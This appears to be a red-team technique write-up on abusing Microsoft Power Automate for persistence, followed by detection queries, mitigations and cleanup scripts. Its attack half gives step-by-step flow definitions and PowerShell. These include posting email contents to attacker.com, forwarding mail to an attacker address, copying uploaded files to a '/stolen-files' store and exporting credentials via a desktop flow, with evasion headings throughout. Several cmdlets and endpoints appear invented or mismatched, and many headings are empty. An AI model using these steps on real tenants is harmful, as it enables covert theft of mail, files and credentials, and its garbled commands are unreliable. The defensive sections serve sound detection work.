| Attribute | Details |
|---|---|
| Technique ID | PERSIST-EVENT-003 |
| MITRE ATT&CK v18.1 | T1546 - Event Triggered Execution |
| Tactic | Persistence, Privilege Escalation, Command & Control |
| Platforms | M365, Entra ID, Power Automate |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Power Automate (all versions), Microsoft 365 (all versions) |
| Patched In | Not patched; mitigated via application permissions policies and audit logging |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Power Automate (formerly Microsoft Flow) is a low-code automation platform allowing users to create workflows triggered by events (emails, file creation, HTTP requests, etc.). An attacker who gains access to a Power Automate environment can create persistent automated flows that execute arbitrary actions: stealing credentials from emails, exfiltrating files to external OneDrive accounts, forwarding emails to attacker-controlled accounts, or triggering credential theft scripts. Flows execute in the context of the user who owns them or the service principal configured in the flow, enabling privilege escalation if flows are owned by high-privileged accounts.
Attack Surface: Power Automate web portal (flow.microsoft.com), Power Automate Graph API (https://graph.microsoft.com/v1.0/me/cloudPCs), triggers (HTTP requests, email receipt, file creation), actions (send email, create file, execute HTTP requests), connectors (Office 365, SharePoint, Teams, Custom connectors), and service principal accounts used by flows.
Business Impact: Persistent Credential Theft & Data Exfiltration. An attacker creates flows that steal credentials from emails, exfiltrate files, forward sensitive emails to attacker-controlled accounts, or trigger reverse shells on a schedule. Flows execute silently without user interaction and can be triggered by common events (every new email, every file upload, timed intervals). A single compromised user can compromise the entire organization if their flows have broad permissions (accessing all mailboxes, all file shares, etc.).
Technical Context: Power Automate flows are executed by the Power Automate service (with the flow owner’s permissions) or by configured service principals. Flows can use 600+ built-in connectors (Office 365 Mail, SharePoint, Teams, OneDrive, SQL, Azure Logic Apps, etc.). Permissions are assigned via OAuth 2.0 consent flows. Once created, flows are difficult to detect without audit log monitoring, as they appear as legitimate automation tasks. Flows can chain multiple actions, enabling complex attack scenarios.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1 | Ensure that only authorized users can create Power Automate flows |
| CIS Benchmark | 1.2.2 | Ensure Power Automate cloud app is restricted in Conditional Access |
| DISA STIG | AZ-MA-000060 | M365: Restrict Power Automate to authorized administrators only |
| CISA SCuBA | EXO.MS.1 | Require multi-factor authentication for all user account access |
| NIST 800-53 | AC-2 | Account Management - Enforcement of account management processes |
| NIST 800-53 | AC-3 | Access Enforcement - Implement information flow policy |
| NIST 800-53 | AU-2 | Audit and Accountability - Selection and generation of events |
| GDPR | Art. 32 | Security of Processing - Technical and organizational measures |
| GDPR | Art. 33 | Notification of a Personal Data Breach |
| DORA | Art. 9 | Protection and Prevention of Operational Resilience |
| NIS2 | Art. 21(1)(c) | Cyber Risk Management - Detecting and monitoring risks |
| ISO 27001 | A.9.2.1 | User Registration and De-registration |
| ISO 27001 | A.13.1.3 | Segregation of networks |
| ISO 27005 | 5.3 | Risk Assessment - Identifying threats to assets and vulnerabilities |
Web Browser Reconnaissance:
What to Look For:
PowerShell Query (List Available Power Automate Flows):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Cloud.Read", "Workflow.Read"
# List all cloud PC environments (Power Automate is licensed here)
Get-MgEnvironment | Select DisplayName, Id
# List cloud flows (Power Automate flows) in default environment
$EnvironmentId = (Get-MgEnvironment | Select -First 1).Id
Get-MgCloudPcFlow -EnvironmentId $EnvironmentId | Select DisplayName, CreatedTime, LastModified
# List available connectors in environment
Get-MgCloudPcConnector -EnvironmentId $EnvironmentId | Select Name, Tier | Sort Name
Alternative: Power Automate REST API (Direct HTTP Calls):
# Get access token
$Token = (Get-MgContext).AccessToken
# List flows
$Headers = @{ "Authorization" = "Bearer $Token" }
$Flows = Invoke-RestMethod -Uri "https://api.flow.microsoft.com/v1/me/flows?$filter=name eq '*'" `
-Headers $Headers -Method Get
# Display flows
$Flows.value | Select Name, CreatedTime, State
What to Look For:
Web Portal Reconnaissance:
PowerShell Query (List Connectors):
# List all available connectors
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }
$Connectors = Invoke-RestMethod `
-Uri "https://api.powerautomate.com/providers/Microsoft.ProcessSimple/environments/Default-00000000-0000-0000-0000-000000000001/connections" `
-Headers $Headers
$Connectors.value | Select Name, Type, DisplayName, Properties
Supported Versions: Power Automate (all versions)
Objective: Access Power Automate portal using compromised M365 credentials.
Command (PowerShell):
# Authenticate to Microsoft Graph (which includes Power Automate)
Connect-MgGraph -Scopes "Cloud.Read", "Workflow.ReadWrite"
# Verify authentication
Get-MgUser -UserId "user@contoso.com" | Select UserPrincipalName, DisplayName
Manual Steps (Web Portal):
Expected Output:
UserPrincipalName DisplayName
----------------- -----------
user@contoso.com John Doe
What This Means:
OpSec & Evasion:
Objective: Set up a flow that triggers on every incoming email.
Manual Steps (Web Portal - Recommended):
Email Notification ProcessorAlternative: Using Graph API (PowerShell):
# Define flow definition (JSON)
$FlowDefinition = @{
"definition" = @{
"type" = "Workflow"
"version" = "1.0.0"
"metadata" = @{
"definition" = @{
"triggers" = @{
"When_a_new_email_arrives" = @{
"type" = "ApiConnection"
"inputs" = @{
"host" = @{
"connection" = @{
"name" = "@parameters('$connections')['office365']['connectionId']"
}
}
"method" = "get"
"path" = "/v3/Mail/OnNewEmail"
"queries" = @{
"folderPath" = "Inbox"
"fetchOnlyWithAttachment" = $false
"importance" = "Any"
}
}
}
}
"actions" = @{
# Actions will be added in Step 3
}
}
}
}
} | ConvertTo-Json -Depth 10
# Create flow via API
$Token = (Get-MgContext).AccessToken
$Headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
$Response = Invoke-RestMethod -Uri "https://api.flow.microsoft.com/v1/me/flows" `
-Headers $Headers `
-Method Post `
-Body $FlowDefinition
Write-Host "Flow created with ID: $($Response.name)"
Expected Output:
Flow created with ID: 12345678-90ab-cdef-1234-567890abcdef
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Add flow action to steal email sender, subject, body, and attachments.
Manual Steps (Web Portal - Recommended):
http://attacker.com/collect-emails{
"from": "@triggerBody()?['from']",
"subject": "@triggerBody()?['subject']",
"bodyContent": "@triggerBody()?['body']",
"attachmentNames": "@triggerBody()?['attachments']",
"timestamp": "@utcNow()"
}
Alternative Action: Forward Email to Attacker’s Mailbox:
# PowerShell flow action (would be added in flow definition)
# This action forwards the email to attacker-controlled account
$ActionDefinition = @{
"Forward_Email_to_Attacker" = @{
"runAfter" = @{
"When_a_new_email_arrives" = @(
"Succeeded"
)
}
"type" = "ApiConnection"
"inputs" = @{
"body" = @{
"comment" = "Original: @{triggerBody()?['subject']}"
"isRead" = $false
}
"host" = @{
"connection" = @{
"name" = "@parameters('$connections')['office365']['connectionId']"
}
}
"method" = "post"
"path" = "/v3/Mail/Forward"
"queries" = @{
"messageId" = "@triggerBody()?['id']"
}
"to" = "attacker@attacker.com"
}
}
}
What This Means:
OpSec & Evasion:
Advanced: Conditional Logic to Target Specific Emails:
{
"if": "@contains(triggerBody()?['subject'], 'password')",
"then": {
// Execute exfiltration action only for emails with "password" in subject
}
}
Troubleshooting:
@triggerBody() syntax matches Power Automate expression languageReferences:
Objective: Add alternative trigger to maintain persistence even if primary flow is detected.
Manual Steps (Web Portal):
Alternative: Scheduled Trigger (Execute Every Hour):
# Add scheduled trigger to execute malicious actions on a schedule
$ScheduledTrigger = @{
"Recurrence" = @{
"type" = "Recurrence"
"recurrence" = @{
"frequency" = "Hour"
"interval" = 1
}
}
}
# This trigger executes flow every hour automatically
What This Means:
OpSec & Evasion:
Objective: Activate the flow and confirm it triggers correctly.
Manual Steps (Web Portal):
Verify via PowerShell:
# Get flow runs (execution history)
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }
$FlowId = "12345678-90ab-cdef-1234-567890abcdef" # From Step 2
$Runs = Invoke-RestMethod `
-Uri "https://api.flow.microsoft.com/v1/me/flows/$FlowId/runs" `
-Headers $Headers
$Runs.value | Select Name, StartTime, Status | Sort StartTime -Descending | Select -First 5
Expected Output:
Name StartTime Status
---- --------- ------
12345678-90ab-cdef-1234-567890 2026-01-09 15:30:00Z Succeeded
12345678-90ab-cdef-1234-567891 2026-01-09 14:25:00Z Succeeded
12345678-90ab-cdef-1234-567892 2026-01-09 13:20:00Z Succeeded
What This Means:
Troubleshooting:
Supported Versions: Power Automate (all versions)
Objective: Create flow that triggers when files are uploaded to SharePoint/OneDrive.
Manual Steps (Web Portal):
Document Processing WorkflowWhat This Means:
Objective: Copy uploaded files to attacker-controlled OneDrive or external storage.
Manual Steps (Web Portal):
/Backups (attacker’s OneDrive)@triggerBody()?['DisplayName']@triggerBody()?['body'] or use Get file content connector to retrieve full fileAlternative: Upload to Azure Blob Storage:
{
"Create_blob": {
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['azureblob']['connectionId']"
}
},
"method": "put",
"path": "/datasets/default/files",
"queries": {
"folderPath": "/stolen-files",
"name": "@triggerBody()?['DisplayName']"
},
"body": "@triggerBody()?['body']"
}
}
}
What This Means:
Supported Versions: Power Automate (with Power Automate Desktop license)
Objective: Create Robotic Process Automation (RPA) flow to execute system commands.
Manual Steps (Web Portal):
System Update CheckAlternative: Cloud Flow Calling Desktop Flow:
{
"Run_Desktop_Flow": {
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['powerAutomateDesktop']['connectionId']"
}
},
"method": "post",
"path": "/flows/@{encodeURIComponent('12345678-90ab-cdef-1234-567890abcdef')}/run",
"body": {
"parameters": {
"command": "powershell.exe -Command 'Get-Credential | Export-Clixml C:\\Temp\\creds.xml'"
}
}
}
}
}
What This Means:
OpSec & Evasion:
Version: All versions (continuously updated by Microsoft)
Access: https://flow.microsoft.com
Requirements: M365 account with Power Automate license (included in Microsoft 365 plans)
Key Features:
Version: v1.0 and beta endpoints available
Minimum Version: API available since Power Automate launch
Supported Platforms: All (cloud-based REST API)
Base URL: https://api.flow.microsoft.com/
Authentication:
# Get access token with necessary scopes
Connect-MgGraph -Scopes "Cloud.ReadWrite", "Workflow.ReadWrite"
# Use token in API calls
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }
Common API Endpoints:
# List flows
GET /v1/me/flows
# Get flow details
GET /v1/me/flows/{flowId}
# List flow runs
GET /v1/me/flows/{flowId}/runs
# Create flow
POST /v1/me/flows
# Delete flow
DELETE /v1/me/flows/{flowId}
# Enable/Disable flow
PATCH /v1/me/flows/{flowId} -Body @{ "state" = "Enabled" }
Version: Latest 2024+ versions
Minimum Version: Version 2.x
Supported Platforms: Windows (connected desktop machine)
Installation:
# Download from Microsoft Power Automate Desktop website
# https://go.microsoft.com/fwlink/?linkid=2102613
# Install via installer or Microsoft Store
# Requires local admin on target machine
Features:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Create flow" or OperationName == "Create cloud flow"
| where TargetResources contains "HTTP" or TargetResources contains "Send an email"
| where TargetResources contains "outlook" or TargetResources contains "sharepointonline"
| extend CreatedByUser = InitiatedBy.user.userPrincipalName
| extend FlowName = tostring(TargetResources[0].displayName)
| where FlowName has_any ("Update", "Notification", "Processing", "Sync", "Backup")
| project TimeGenerated, CreatedByUser, FlowName, TargetResources, InitiatedBy.ipAddress
| summarize FlowCount=count() by CreatedByUser, bin(TimeGenerated, 1h)
| where FlowCount > 5
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Power Automate Flow Creation DetectedHigh5 minutes1 hourRule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Create flow action", "Update flow action")
| where TargetResources contains "HTTP" and TargetResources contains "triggerBody"
| where TargetResources contains "subject" or TargetResources contains "body" or TargetResources contains "from"
| extend CreatedByUser = InitiatedBy.user.userPrincipalName
| extend ActionDetails = tostring(TargetResources)
| where ActionDetails contains "POST" or ActionDetails contains "exfiltrate"
| project TimeGenerated, CreatedByUser, OperationName, ActionDetails, InitiatedBy.ipAddress
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Share flow"
| where TargetResources contains "@" and not(TargetResources contains "@contoso.com")
| extend SharedByUser = InitiatedBy.user.userPrincipalName
| extend SharedWithUser = tostring(TargetResources[0])
| project TimeGenerated, SharedByUser, SharedWithUser, TargetResources
What This Detects:
Alert Name: “Suspicious Power Automate Flow with Sensitive Data Access”
Alert Name: “User Created Multiple Power Automate Flows in Short Timeframe”
Manual Configuration Steps (Enable Defender for Cloud):
Operation: Create flow, Update flow, Share flow, Delete flow
# Connect to Exchange Online
Connect-ExchangeOnline
# Search for Power Automate activities
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Create flow", "Update flow", "Create cloud flow", "Update cloud flow" `
-Workload "PowerAutomate" `
-ResultSize 5000 | Export-Csv -Path "C:\Audit\PowerAutomate-Activities.csv" -NoTypeInformation
# Search for flows shared with external users
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Share flow" `
-FreeText "external" `
-ResultSize 5000 | Export-Csv -Path "C:\Audit\PowerAutomate-ExternalSharing.csv" -NoTypeInformation
Workload: PowerAutomate
Details to Analyze in UnifiedAuditLog:
Manual Configuration Steps (Microsoft Purview Portal):
Interpretation:
Query Script (Advanced Analysis):
# Import audit log results
$AuditLogs = Import-Csv "C:\Audit\PowerAutomate-Activities.csv"
# Identify suspicious flows
$AuditLogs | Where-Object {
$_.AuditData -like "*HTTP*" -and $_.AuditData -like "*POST*" -and $_.AuditData -like "*triggerBody*"
} | Select Timestamp, UserIds, ObjectId, Operation | Format-Table
# Count flows per user (identify power users)
$AuditLogs | Group-Object UserIds | Sort Count -Descending | Select Name, Count
Restrict Power Automate Creation Permissions: Block standard users from creating flows; allow only approved admins. Applies To Versions: All M365 environments
Manual Steps (Power Automate Environment Admin):
Manual Steps (Azure AD / Entra ID Policy):
Manual Steps (PowerShell - Restrict via Power Platform Admin Center):
# Set Power Automate creation policy to restricted
# Requires Power Platform Administrator role
# Get current policy
Get-PowerAppEnvironmentCreationPolicy
# Restrict creation to specific security group
New-PowerAppEnvironmentCreationPolicy -PolicyDisplayName "Restricted Flow Creation" `
-AllowedSecurityGroupObjectId "00000000-0000-0000-0000-000000000001"
Enable Audit Logging for Power Automate: Ensure all flow creation, modification, and execution is logged.
Manual Steps (Microsoft Purview):
Verification Command (PowerShell):
# Verify audit is enabled
Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled, AuditLevel
# Expected output: UnifiedAuditLogIngestionEnabled = True, AuditLevel = All
Block Suspicious Connectors: Restrict or disable connectors that could be used for data exfiltration (HTTP, custom connectors).
Manual Steps (Power Platform Admin Center):
Block High-Risk ConnectorsManual Steps (Conditional Access - Block Power Automate App):
Block Power Automate for Non-AdminsImplement Flow Approval Process: Require approval before flows can be shared or executed.
Manual Steps (Power Automate):
Monitor Flow Permissions and Connectors: Create alerts for flows accessing sensitive connectors.
Manual Steps (Sentinel Alert):
AuditLogs
| where OperationName == "Create cloud flow" or OperationName == "Update cloud flow"
| where TargetResources contains_cs "office365" or TargetResources contains_cs "sharepointonline"
| where TargetResources contains_cs "HTTP"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources
Require MFA for Power Automate Portal Access: Enforce MFA when accessing flow.microsoft.com.
Manual Steps (Conditional Access):
Require MFA for Power AutomateDisable Unused Connectors: Remove connectors not required for business.
Manual Steps (Power Platform Admin Center):
# Verify Power Automate restrictions
Connect-PowerApps
# Check DLP policies
Get-PowerAppEnvironmentCreationPolicy | Format-Table
# Check blocked connectors
Get-PowerAppDlpPolicy | Select DisplayName, @{
Name = "BlockedConnectors"
Expression = { $_.Connectors.BlockedConnectors -join ", " }
}
# Expected: Only authorized connectors available, HTTP blocked
Write-Host "✓ SECURE: High-risk connectors are blocked"
Expected Output (If Secure):
DisplayName BlockedConnectors
----------- -----------------
Block High-Risk Connectors HTTP, Custom connectors, Azure Blob Storage
# Connect to Power Automate
Add-PowerAppsAccount
# Get flow ID
$Flow = Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
# Disable flow
Disable-Flow -EnvironmentName "Default-00000000-0000-0000-0000-000000000001" `
-FlowName $Flow.Name
# Verify flow is disabled
Get-FlowRun -FlowName $Flow.Name
Manual (Web Portal):
# Export flow definition
$Flow = Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
$Flow | Export-Clixml "C:\Evidence\Flow-Definition.xml"
# Export flow runs
Get-FlowRun -FlowName $Flow.Name -Limit 100 | Export-Csv "C:\Evidence\Flow-Runs.csv"
# Export audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "Create flow", "Update flow", "Share flow" `
-UserIds (Get-User | Where-Object { $_.RecipientTypeDetails -eq "UserMailbox" }).UserPrincipalName `
-ResultSize 10000 | Export-Csv "C:\Evidence\Audit-Logs.csv"
# Delete flow
Remove-Flow -EnvironmentName "Default-00000000-0000-0000-0000-000000000001" `
-FlowName $Flow.Name -Confirm:$false
# Remove email forwarding rules created by flow
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
Get-InboxRule -Mailbox $_.UserPrincipalName |
Where-Object { $_.ForwardTo -like "*attacker*" } |
Remove-InboxRule -Confirm:$false
}
# Remove files copied to external accounts
# (Manual review required to identify exfiltrated files)
# Verify flow is deleted
Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
# Should return: No results
# Verify no forwarding rules exist
Get-Mailbox | Get-InboxRule | Where-Object { $_.ForwardTo -like "*@external*" }
# Should return: No results (or only approved rules)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attack | Attacker tricks user into granting permissions to malicious app |
| 2 | Persistence (Current Step) | [PERSIST-EVENT-003] | Power Automate Flow Created for Persistent Credential Theft |
| 3 | Data Exfiltration | [COLLECTION-001] Email Collection via Flow | Flow exfiltrates emails and attachments |
| 4 | Lateral Movement | [LATERAL-001] Shared Mailbox Access via Flow | Flow accesses shared mailboxes with stolen credentials |
| 5 | Impact | [IMPACT-DATA-001] Data Exfiltration Complete | Thousands of emails and files exported to attacker server |